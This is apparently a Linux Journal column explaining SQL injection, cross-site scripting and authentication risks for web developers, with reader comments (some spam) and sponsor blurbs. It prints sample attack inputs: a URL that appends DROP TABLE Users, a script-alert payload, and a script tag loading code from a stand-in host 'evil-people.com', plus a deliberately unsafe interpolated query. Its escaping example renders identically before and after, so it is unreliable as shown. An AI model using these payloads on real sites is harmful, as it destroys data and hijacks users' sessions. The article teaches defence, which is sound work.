Web Security

As I write these words, many Ruby on Rails developers are worried. The framework that so many of us have used and enjoyed for so many years, turned out to have some serious security flaws. It's not just the sort of flaw that can allow someone to modify your Web site either;these holes meant that a properly armed attacker could execute arbitrary code on your server. And nowadays, "properly armed" is not a very high threshold because of such tools as Metasploit, which make it laughably easy to launch an attack against an arbitrary computer on the Internet.

Now, these events haven't shaken my faith in the overall security of open-source software in general, or of Ruby on Rails in particular. I've been quite impressed by the way in which the Rails core team members have reacted, making patches available and trying to find as many unexploited vulnerabilities as possible, now that they've found that Ruby's YAML parser can cause problems. But, I'm sure there are plenty of businesses and individuals out there asking themselves whether they've put their organization's servers in danger by using open-source frameworks.

The answer is "no", from everything I've seen through the years. True, open-source software, by its very nature, is transparent, which means vulnerabilities can be found and exploited more easily than in some proprietary systems. At the same time, you have many more people looking at the code and working to fix and improve it. Moreover, anyone can join the team that's working to find and fix these security problems. From what I can tell, many people who were spooked by recent problems in Rails responded by actively looking for problems and by trying to make it more secure.

So yes, it's scary to receive multiple messages from the Rails security e-mail list, indicating (seemingly on a daily basis) that there is another "zero-day exploit", a flaw that can be used to break into your system by the time you receive the warning message. But these messages go out for all sorts of systems, not just those in the open-source world. And if there is any lesson to be learned from these warnings, it's that you need to subscribe to the security and/or announcement lists for the frameworks and other important pieces of software that you use.

Thus, I'm not worried about flaws in Rails or in other frameworks that I use. The discussions on security have, however, reminded me that the Internet is a scary and dangerous environment, with many users willing and able to try to break into computers for fun or profit. Protecting your Web application should be a priority in your development work, such that you can ensure the safety of your application, your data and your users' data.

In this article, I review a few of the basic principles of Web application security, and what you can do to avoid risks or at least reduce the risk that your software will suffer from problems. But as security experts like to say, security is a process, not a one-time fix, so you should expect to be checking, watching and improving the security of your programs constantly, always assuming they'll be attacked.

SQL Injection

One of the oldest attacks against Web applications continues to cause problems, despite the fact that effective solutions to this problem have existed for more than 15 years.

The issue, illustrated brilliantly in XKCD comic #327, is that we often pass input from users to an SQL query. For example, let's assume that our Web application uses a database table named "users". Let's further assume that a user can see his or her own information via a URL that looks like this: http://example.com/users/215.

A nontechnical user might well ignore this URL. But many will look at it and understand that the last part, the number 215, is being put into a database query, something like:


SELECT * FROM Users WHERE id = 215;

For now, let's ignore the issue of basic user security, in which someone potentially can access another user's account simply by changing the ID number. Instead, let's consider what happens if a user enters the following URL: http://example.com/users/215;DROP+TABLE+Users;.

If the application simply drops the last part of the URL into SQL, you might end up with a database query that looks like this:


SELECT * FROM Users WHERE id = 215; DROP TABLE Users;

Given that you can execute any number of queries within a single session, and that each query ends with a semicolon, you can imagine that this would be highly destructive. In many cases, of course, the query quotes the parameter, as follows:


SELECT * FROM Users WHERE id = '215';

In which case you would need to pass a malicious URL that looks like this: http://example.com/users/215';DROP+TABLE+Users;.

Now, although such "SQL injection" attacks are easy to understand, they're also easy to prevent—and yet, they continue to be widespread. That's because many Web developers assume their users will be decent and reasonable people, and that it's just easier to grab information from the user and interpolate it into the SQL string:


query = "SELECT * FROM Users WHERE id = #{params[:user_id]}";

Of course, all it takes is one malicious user to guess that this is how you have constructed your query, and your site goes down. (You are backing things up regularly, right?) And an attacker can do much more than just delete tables. It's possible, using SQL injection, to update user permissions, view information belonging to other users or remove conditions from a long and complex query.

The solution to this problem is simple. Nearly every language, library and framework with which I'm familiar has a provision for "escaping" user parameters. That is, instead of directly interpolating the user's parameter into the SQL query, you pass it through a separate function that automatically removes, or escapes, any sensitive information. For example, in Rails, you can say:


User.where(["id = ?", params[:user_id]])

Notice that you aren't putting params[:user_id] directly inside the string, but that you're rather putting a question mark there, and that you're letting ActiveRecord perform the binding. If you were to put a semicolon, quotation mark or other dangerous character within params[:user_id], it wouldn't make a difference, because the parameter-binding system would neutralize that threat.

The bottom line with SQL injection attacks is that they're largely preventable, assuming you use the tools that come with your favorite language and framework. I've personally used such tools with Perl, Python, PHP and Java.

<--pagebreak-->

Cross-Site Scripting (XSS)

SQL injection is aimed at the server and the database (and application) running on it. By contrast, XSS is an attack aimed at the other users of the site. Like SQL injection, XSS has existed for quite some time and is relatively easy to remove in many frameworks. Unlike SQL injection, however, XSS serves as the basis for many more sophisticated attacks, allowing malicious users to take over users' sessions and potentially execute commands on their behalf.

The idea is this: let's say that your site asks people to register with not only an e-mail address and password, but also their real name. That real name is displayed each time a user posts to a forum on your site.

What happens if someone, instead of entering just their name, enters the following:


Reuven Lerner<script>alert("Hello!");</script>

The server, not being very smart about what it takes in, saves this entire piece of text as the user's name. When the user posts to a forum, everything continues to work correctly. But when someone on the site loads the latest list of forum postings, not only will the malicious user's name be displayed, but an annoying alert box will show up in the browser.

But hey, you can do even better than that. Maybe, instead of executing code directly from within a <script> tag, you can use the tag to load JavaScript from a remote server. For example, what if the nasty user registers with the following name:


Reuven Lerner<script src="http://evil-people.com/gotcha.js"></script>

Now whatever gotcha.js contains will be downloaded and executed by each user on the site. If you're still thinking that this only extends to modifying the user's page, manipulating the DOM or popping alert dialog boxes onto the screen, you haven't yet considered all of the ramifications. Consider that the evil JavaScript code is now executing with the same permissions, cookies and session as the legitimate user. Indeed, there's no way for the server to tell the difference between a legitimate user's code and the evil JavaScript, because they are all on the same page, executing within the same context.

Once this script has been loaded onto the page, the game is largely up. The key thing is to ensure that such scripts never are inserted dynamically onto the page.

A simple solution to this problem is to escape all user content. That is, if a user submits this:


<script>alert();</script>;

you can turn that into:


<script>alert();</script>;

When this is displayed in the user's browser, it'll look like what was submitted, but the tags no longer will be seen as tags—rather, they'll be seen as literal < and > characters, without the ability to execute anything. As of about 2–3 years ago, Rails escapes all HTML by default. If you want to allow dynamically generated content to put HTML tags on the screen, you must use the "raw" method on the text string.

Authentication and Authorization

A third type of attack involves breaking through the login system, such that a user can pretend to be another user on the system. The easiest way for this to happen is by guessing passwords. If your Web application allows users to choose weak passwords, and also allows users to try to log in as many times as they like, the result might well be a user whose account is compromised. If this is a regular user without any privileges, that'll just be bad for the specific user. But, if the account belongs to an administrative user, the consequences could be dire and potentially even involve legal liability.

Authentication is the term used to describe the users' need to identify themselves to the computer system. Typically, this involves a user name-password combination, although all sorts of authentication systems exist, ranging from one-time hardware keys to biometric scanners. Authorization, by contrast, refers to checking whether a user, once authenticated, is allowed to perform certain actions.

Here's some simple advice for rolling your own authentication system: don't. Excellent authentication systems exist, some of which come built-in with Web application frameworks and others of which are third-party add-ons. Consider the skill level, motivation and time that attackers have, and you'll probably realize you're unlikely to come up with an authentication system that is truly robust and secure. Even tried-and-true authentication systems, written by experts and deployed on thousands of servers, have been found to have security holes.

An extension of this argument is to outsource authentication entirely, using Facebook, LinkedIn or GitHub (among others) to authenticate your users. This is becoming an increasingly popular option for many Web applications, relieving them of much of the responsibility for authentication. However, this does raise the question of whether you really want to depend on a third-party, commercial company whose interests are almost certainly not the same as yours, for your authentication needs. Then again, users are more likely than not to trust a login system from Facebook than your own home-grown system.

Conclusion

Security, as I wrote above, and as many people have said through the years, is a process, not a one-time solution. Being aware of potential security problems and taking them into account when developing your system takes time, but is an essential part of the well-being of your Web application. The three items I've outlined here—SQL injection, cross-site scripting and authentication—are three of the most popular ways that people attack Web applications. But there are many more, so trying to keep up with these problems, and incorporating them into your regular reading list, is an investment that surely will pay off.

Resources

There are many different sources, in print and on-line, about Web security. One of the best and authoritative sources is OWASP, the Open Web Application Security Project, whose Web site has a huge number of articles, tutorials and suggestions that all Web developers should read. You might want to look at its "Top Ten Project", which introduces and describes the ten most problematic Web security issues you should consider and try to prevent.

An excellent introduction to XSS attacks was written more than a decade ago by Paul Lee, but it's still relevant. You can read it at IBM's site.

The recent outbreak of security problems in the Ruby and Rails worlds have led to a flurry of activity, as well as descriptions of what went wrong. Patrick McKenzie has written a particularly thorough blog post on the subject, and he described these problems in an interview on the Ruby Rogues podcast on February 20, 2013. You can listen to that at http://rubyrogues.com/093-rr-security-exploits-with-patrick-mckenzie.

In his interview with the Rogues, Patrick mentioned a tool with which I wasn't previously familiar, called Brakeman, which reviews your Rails application for potential security problems. It's super easy to use: just gem install brakeman, and then run the brakeman program from within your Rails application. You'll get a beautifully formatted HTML page listing the problems and potential problems that it was able to find in your application.

Patrick and others also recommend a good book, The Tangled Web, by Michal Zalewski, published by No Starch Press in 2012. If you're interested in Web security, you should read this book. It's sure to open your eyes to the world of "bad guys" on the Internet, and what you can do to avoid problems with them.

______________________

Reuven M. Lerner, Linux Journal Senior Columnist, a longtime Web developer, consultant and trainer, is completing his PhD in learning sciences at Northwestern University.

Comments

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.

Thanks For Your Sharing

Anonymous's picture

Thanks for such a great post and the review, I am totally impressed! Keep stuff like this coming.
MutiaraBijak.com Kata Kata Mutiara dan Kata Kata Bijak Cinta
ASP.NET Hosting Indonesia ASP.NET windows hosting terbaik

Thanks for such a great post

Anonymous's picture

Thanks for such a great post and the review, I am totally impressed! Keep stuff like this coming.
MutiaraBijak.com Kata Kata Mutiara dan Kata Kata Bijak Cinta ASP.NET Hosting Indonesia ASP.NET windows hosting terbaik

Nice post and thanks for sharing

Anonymous's picture

Wonderful post. I am searching awesome news and idea. What I have found from your site, it is actually highly content. Please Visit in my Favorit Articles in 828BET.COM AGEN BOLA TERPERCAYA PIALA DUNIA 2014
Jalan Tikus.com Download Game PC dan Android Gratis Terbaru dengan server lokal

Great to have it in

Smashing Pumpkins's picture

IF u are looking for business cards for your own website just Click here

Use database permissions too

madtom1999's picture

you can set permissions so that the internet user that the web uses cannot drop tables.
I also tend to use procedures as this allows the database to be changed radically without the web code needing changing.

Web attacks

Taylor's picture

The issue of web security is very old and will never be completely solved. Even one of the oldest attacks, like SQL Injection, is very popular today. But let's suppose that all the current forms of web attacks will be prevented. In this case, I'm sure that new, more complicated attacks will be developed.

Good Review

DDoS Protection's picture

It's sad that Ruby has complication with hacks. SQL injection has been going on for a decade, I'm not sure you can still find targets for it. But good in dept article, your examples were great. A fun read.

ampersand is your friend

Matt's picture

Your "escape all user content" example did not render correctly; the before and after look identical. Maybe you need to double-escape in your CMS..

Good info

Anonymous's picture

Thanks for this informative article. You promote good, basic security practices with your three recommendations. No web app is completely secure, but if users can think about security as they deploy services, they can raise the bar across the board.

You've missed the point.

Anonymous's picture

You've missed the point. Those vulnerabilities are in rails itself, it's not the web app devs fault. Even if your rails application is perfectly secure it can be broken because they're attacking rails in this case.

White Paper
Linux Management with Red Hat Satellite: Measuring Business Impact and ROI

Linux has become a key foundation for supporting today's rapidly growing IT environments. Linux is being used to deploy business applications and databases, trading on its reputation as a low-cost operating environment. For many IT organizations, Linux is a mainstay for deploying Web servers and has evolved from handling basic file, print, and utility workloads to running mission-critical applications and databases, physically, virtually, and in the cloud. As Linux grows in importance in terms of value to the business, managing Linux environments to high standards of service quality — availability, security, and performance — becomes an essential requirement for business success.

Learn More

Sponsored by Red Hat

White Paper
Private PaaS for the Agile Enterprise

If you already use virtualized infrastructure, you are well on your way to leveraging the power of the cloud. Virtualization offers the promise of limitless resources, but how do you manage that scalability when your DevOps team doesn’t scale? In today’s hypercompetitive markets, fast results can make a difference between leading the pack vs. obsolescence. Organizations need more benefits from cloud computing than just raw resources. They need agility, flexibility, convenience, ROI, and control.

Stackato private Platform-as-a-Service technology from ActiveState extends your private cloud infrastructure by creating a private PaaS to provide on-demand availability, flexibility, control, and ultimately, faster time-to-market for your enterprise.

Learn More

Sponsored by ActiveState